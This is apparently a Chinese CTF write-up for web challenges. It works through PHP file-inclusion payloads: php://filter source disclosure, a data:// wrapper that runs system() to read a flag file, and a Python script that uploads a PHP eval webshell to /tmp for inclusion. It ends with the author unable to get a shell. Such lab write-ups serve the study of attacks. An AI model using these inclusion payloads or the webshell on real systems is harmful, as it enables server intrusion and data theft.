不知所措.jpg
没啥用然后测试了网站可以使用php伪达到目的
?file=php://filter/convert.base64-encode/resource=test/../index.
<?php
error_reporting(0);
$file=$_GET['file'];
$file=$file.'php';
echo $file."<br />";
if(preg_match('/test/is',$file)){include ($file);
}else{echo '$file must has test';
}
?>
传入的file必须包含有test才能实现文件包含
data协议执行命令
?file=data://text/plain,<?=system('cat /FFFFFFFL@GGGG');?>test
easyshell
然后发现了cookie异常有hash值
传入
发现是个404,抓包看看
访问flflflflag.php
看到了 include我本来想的直接带出flag,结果不行,只能看源码
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){echo '<script language="javascript" type="text/javascript">window.location.href="flflflflag.php";</script>
';
}else{setcookie("Hash",md5($secret.$name),time()+3600000);echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php
一样的方法带出dir.php
<?php
var_dump(scandir('/tmp'));
?>
我们上传的文件会被默认保存在/tmp目录下
所以我们写个木马
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="https://d60efa26-14f0-4d6d-a22e-4066b7eeb9f8.challenge.ctf.show/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
看到我们上传的🐎文件
flflflflag.php?file=phpgqgWtk
和这个
flflflflag.php?file=../../../tmp/phpgqgWtk
都不能getshell好奇怪